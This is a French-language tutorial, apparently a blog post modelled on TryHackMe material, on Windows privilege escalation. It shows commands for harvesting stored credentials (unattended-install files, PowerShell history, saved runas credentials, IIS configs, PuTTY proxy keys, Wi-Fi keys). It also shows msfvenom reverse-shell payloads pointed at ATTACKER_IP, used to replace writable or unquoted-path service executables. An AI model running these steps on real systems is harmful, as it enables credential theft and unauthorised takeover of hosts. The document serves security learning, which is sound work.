Recherche de Mots de Passe
Installations Windows Non Supervisées
Lors de l'installation de Windows sur un grand nombre d'hôtes, les administrateurs peuvent utiliser Windows Deployment Services (On verra comment configurer un serveur WDS dans un autre article), qui permet de déployer une seule image du système d'exploitation sur plusieurs hôtes via le réseau, c'est ce qu'on appelle les BOOT PXE. Ces types d'installations sont appelées installations non supervisées, car elles ne nécessitent pas d'interaction utilisateur. De telles installations requièrent l'utilisation d'un compte administrateur pour effectuer la configuration initiale, ce qui peut entraîner le stockage des informations d'identification sur la machine dans les emplacements suivants :
C:\Unattend.xml
-> C'est le fichier qui permet de personnaliser les étapes d'installation de l'image WindowsC:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
Dans ces fichiers, vous pourriez trouver des identifiants :
Administrateur: Roger
Mot de passe: #Roger445
Historique de PowerShell
Lorsque l'utilisateur exécute une commande via PowerShell, celle-ci est enregistrée dans un fichier mémorisant les commandes passées. Si un utilisateur exécute une commande contenant un mot de passe en clair, il peut être retrouvé à l'aide de la commande suivante dans un terminal cmd.exe
:
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Note : Cette commande ne fonctionne que dans
cmd.exe
. Dans PowerShell, il faut remplacer%userprofile%
par$Env:userprofile
.
Identifiants Enregistrés sous Windows
Windows permet d'enregistrer les identifiants d'autres utilisateurs. Ces identifiants peuvent être listés avec la commande suivante :
cmdkey /list
Bien que les mots de passe ne soient pas affichés en clair, vous pouvez tester ces identifiants avec la commande runas
et l'option /savecred
:
runas /savecred /user:admin cmd.exe
Configuration IIS
Internet Information Services (IIS) est le serveur web par défaut des installations Windows. Les configurations des sites web sous IIS sont stockées dans le fichier web.config
, qui peut contenir des mots de passe pour les bases de données ou les mécanismes d'authentification. On peut les retrouver aux emplacements suivants :
C:\inetpub\wwwroot\web.config
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
Pour rechercher des chaînes de connexion aux bases de données, utilisez :
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
Récupération d'Identifiants depuis des Logiciels : PuTTY
PuTTY est un client SSH couramment utilisé sous Windows. Il permet d'enregistrer des sessions contenant des configurations de connexion, mais ne sauvegarde pas les mots de passe SSH. Cependant, il peut stocker des informations d'authentification en clair pour les connexions proxy.
Pour récupérer ces identifiants, recherchez la clé de registre suivante :
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s
Note : Simon Tatham est le créateur de PuTTY, son nom est utilisé dans le chemin de registre mais ne correspond pas à un nom d'utilisateur.
Exploitation des Failles Rapides
Permissions Insuffisantes sur un Exécutable de Service
Si un service Windows exécute un fichier binaire dont les permissions permettent la modification par un utilisateur non privilégié, il est possible de remplacer cet exécutable pour obtenir des privilèges plus élevés.
Vérification des permissions d'un exécutable de service avec icacls
:
icacls C:\Progra2\System1\WService.exe
Si Everyone:(I)(M)
apparaît, alors tous les utilisateurs peuvent modifier cet exécutable.
Génération d'un exécutable malveillant et remplacement du fichier légitime :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe # Génération d'un payload avec metasploit
move rev-svc.exe C:\Progra2\System1\WService.exe # Remplacement du service (move permet de garder le nom de base ici)
icacls C:\Progra2\System1\WService.exe /grant Everyone:F # /grant permet d'attribuer les autorisations, ici Everyone:Full Access
Redémarrage du service pour exécuter notre fichier malveillant :
sc stop nom_du_service_qui_execute_WService
sc start nom_du_service_qui_execute_WService
Chemins de Service Non Cités
Si un chemin d'exécutable d'un service contient des espaces et n'est pas entre guillemets, Windows pourrait exécuter un fichier malveillant placé dans un répertoire intermédiaire.
Exemple de service vulnérable :
sc qc "mon super service"
Si le BINARY_PATH_NAME
(en gros le chemin d'accès au service) ressemble à :
C:\MyPrograms\My Super Services\bin\disksrs.exe
Windows pourrait essayer d'exécuter C:\MyPrograms\My.exe
en premier, si ce fichier existe. Car par défault il regarde d'abord si un nom est un exécutable avant d'être un dossier, et comme le nom du path n'est pas entre "" le premier mot à être pris en compte est "My".
Création et déplacement du fichier malveillant :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe
move rev-svc2.exe C:\MyPrograms\My.exe
icacls C:\MyPrograms\My.exe /grant Everyone:F
Redémarrage du service :
sc stop "nom_du_service_qui_execute_My"
sc start "nom_du_service_qui_execute_My"
BONUS : Récupération des mots de passe Wi-Fi sous Windows avec netsh
Affichage des profils Wi-Fi enregistrés
Windows stocke absolument tous les réseaux auxquels vous vous êtes connecté via Wifi, on peut aller voir ce qu'il en est avec netsh.
Pour afficher la liste des réseaux Wi-Fi enregistrés sur votre ordinateur, utilisez la commande suivante dans un terminal cmd.exe
en mode administrateur :
netsh wlan show profiles
Cette commande affichera une liste des profils Wi-Fi enregistrés sous Windows, par exemple :
Profils de tous les utilisateurs :
---------------------------------
Profil Wi-Fi 1 : MonWiFi
Profil Wi-Fi 2 : BureauWiFi
Récupération de la clé Wi-Fi d’un profil spécifique
Une fois le nom du profil Wi-Fi identifié (par exemple, MonWiFi
), vous pouvez récupérer sa clé de sécurité en utilisant la commande suivante :
netsh wlan show profile name="MonWiFi" key=clear
Le résultat affichera plusieurs informations, dont la clé Wi-Fi sous Contenu de la clé
:
Paramètres de sécurité
----------------------
Authentification : WPA2-Personal
Chiffrement : AES
Contenu de la clé : motdepassewifi123
Remarque : Cette commande nécessite des privilèges administrateur.
Conclusion
Voilà un bon début pour commencer à s'amuser sur Windows. tryHackMe explique ça très bien vous devriez aller visiter.